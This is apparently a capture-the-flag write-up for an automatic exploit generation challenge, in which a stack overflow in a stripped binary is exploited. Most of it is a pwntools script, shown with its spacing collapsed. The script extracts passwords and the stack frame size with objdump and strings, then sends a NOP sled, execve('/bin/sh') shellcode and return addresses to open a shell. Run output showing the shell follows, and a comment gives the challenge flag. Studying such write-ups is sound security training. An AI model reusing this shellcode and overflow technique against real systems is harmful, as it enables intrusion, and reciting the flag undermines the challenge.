Statically compiled, stripped binary this challenge was about Automatic Exploit Generation (AEG). The server sends us a binary with two different passwords on every run. We have to send the correct passwords in order to reach the vulnerable function.
The vulnerable function had a classic stack overflow with no canaries, NX disabled and ASLR disabled.
The local stack size of the vulnerable function was also different on each run.
Ghetto Solution
Solution steps:
Connect to the server and get the binary
Drop the binary on disk and analyze it with objdump, storing the output in a variable
Since the 2 password strings were exactly 32 bytes each and lowercase alphanum chars I used strings to find them
Used the objdump output to find the size of the stack frame of the vulnerable function
Send the payload and get the flag
#!/usr/bin/env pythonfrompwnimport*importsys,re# flag itoldyou__IT_WOULD_GET_W0rse_imnotangrybrodeffilterPick(list,filter):return[(l,m.group(1))forlinlistformin(filter(l),)ifm]defexploit(r):iflen(sys.argv)>1:# if remote get the binary and store on diskr.recvuntil("Apprentice CRS - (Cyber Reasoning System)\n")binary=r.recvuntil('Can you exploit me in under 10 seconds?\n')ofile=open('apprentice_cgc_drop','wb')ofile.write(binary)ofile.close()else:# else use binary already on diskbinary=bytearray(open('apprentice_cgc','r').read())entry=u32(binary[0x18:0x18+4])# find entry point fromlog.info("Entry point: "+hex(entry))# elf header# get output of objdumpoutput=subprocess.Popen(["objdump","-d","-M","intel","apprentice_cgc_drop"],stdout=subprocess.PIPE).communicate()[0].split('\n')forlineinrange(len(output)):# parse each lineifhex(entry)[2:]+':'inoutput[line]:# look for entry pointforiinrange(15):# get 15 lines down from entry pointif'call'inoutput[line+i]:# get the line of entry pointmain=output[line+i-1].split(' ')[-1][2:]# get the first argument (addr of main)log.info("Main at: "+main)# main foundmain_output=[]# store main disassembly hereforlineinrange(len(output)):# parse outputifmain+':'inoutput[line]:# from main's addressi=0while'ret'notinoutput[line+i]:# until retmain_output.append(output[line+i])i+=1breakcalls=[]# store addr of all called funcs from mainforlineinrange(len(main_output)):if'call'inmain_output[line]:calls.append(main_output[line].split(' ')[-1].strip())strings=subprocess.Popen(["strings","-n 32","-d","apprentice_cgc_drop"],stdout=subprocess.PIPE).communicate()[0].split('\n')searchRegex=re.compile('(^[a-z0-9]{32}$)').search# regex to find the 2 passwdsx=filterPick(strings,searchRegex)# find the two passwordscanaries=[]canaries.append(x[0][0])canaries.append(x[-1][-1])printcanaries# let me see the passwordsr.sendline(canaries[0].strip())# send the first passwordr.recvline()r.recvline()inBuffer=int(r.recvline().strip(),16)# Oh the binary sends us log.info("Stack is at: "+hex(inBuffer))# the addr of the stack :)forlineinrange(len(output)):ifcalls[-1][2:]+':'inoutput[line]:# from the start of the vuln func's disassemblyforiinrange(5):# look 5 lines downif'sub'inoutput[line+i]:# if u see 'sub'offset=int(output[line+i].split(',')[-1].strip(),16)# get size of stack frameforiinrange(9,15):# in vuln func 9 lines downif'lea'inoutput[line+i]:# look for local buffervulnBuf=int(output[line+i].split('-')[-1].strip(']'),16)# get distance between# stack frame and bufferoffset=offset+(offset-vulnBuf)+3# calc how much garbage to sendsc=("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")r.send(canaries[1]+"\x00")payload="\x90"*(offset-(len(sc)))payload+=scpayload+=p32(inBuffer-(offset/2))*100r.sendline(payload)r.interactive()if__name__=="__main__":log.info("For remote: %s HOST PORT"%sys.argv[0])iflen(sys.argv)>1:r=remote(sys.argv[1],int(sys.argv[2]))exploit(r)else:r=process(['/vagrant/openCTF/apprentice_cgc'])printutil.proc.pidof(r)pause()exploit(r)
➜ openCTF python ./apprentice_cgc_solution.py
[*] For remote: ./apprentice_cgc_solution.py HOST PORT
[+] Starting program '/vagrant/openCTF/apprentice_cgc_drop': Done
[22003]
[*] Paused (press any to continue)
[*] Entry point: 0x8048736
[*] Main at: 8048909
['0x8048760', '0x806ccf0', '0x8050c70', '0x8050c70', '0x804ed50', '0x8048280', '0x80488da', '0x804ed50', '0x8048280', '0x804889a']
['etvqwoqfrevvmesmuwtnzvqbbaozpxdt', 'apovsbykslqvuziibstoyjqmtjywfwjo']
[*] Stack is at: 0xffce268c
[*] Switching to interactive mode
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
$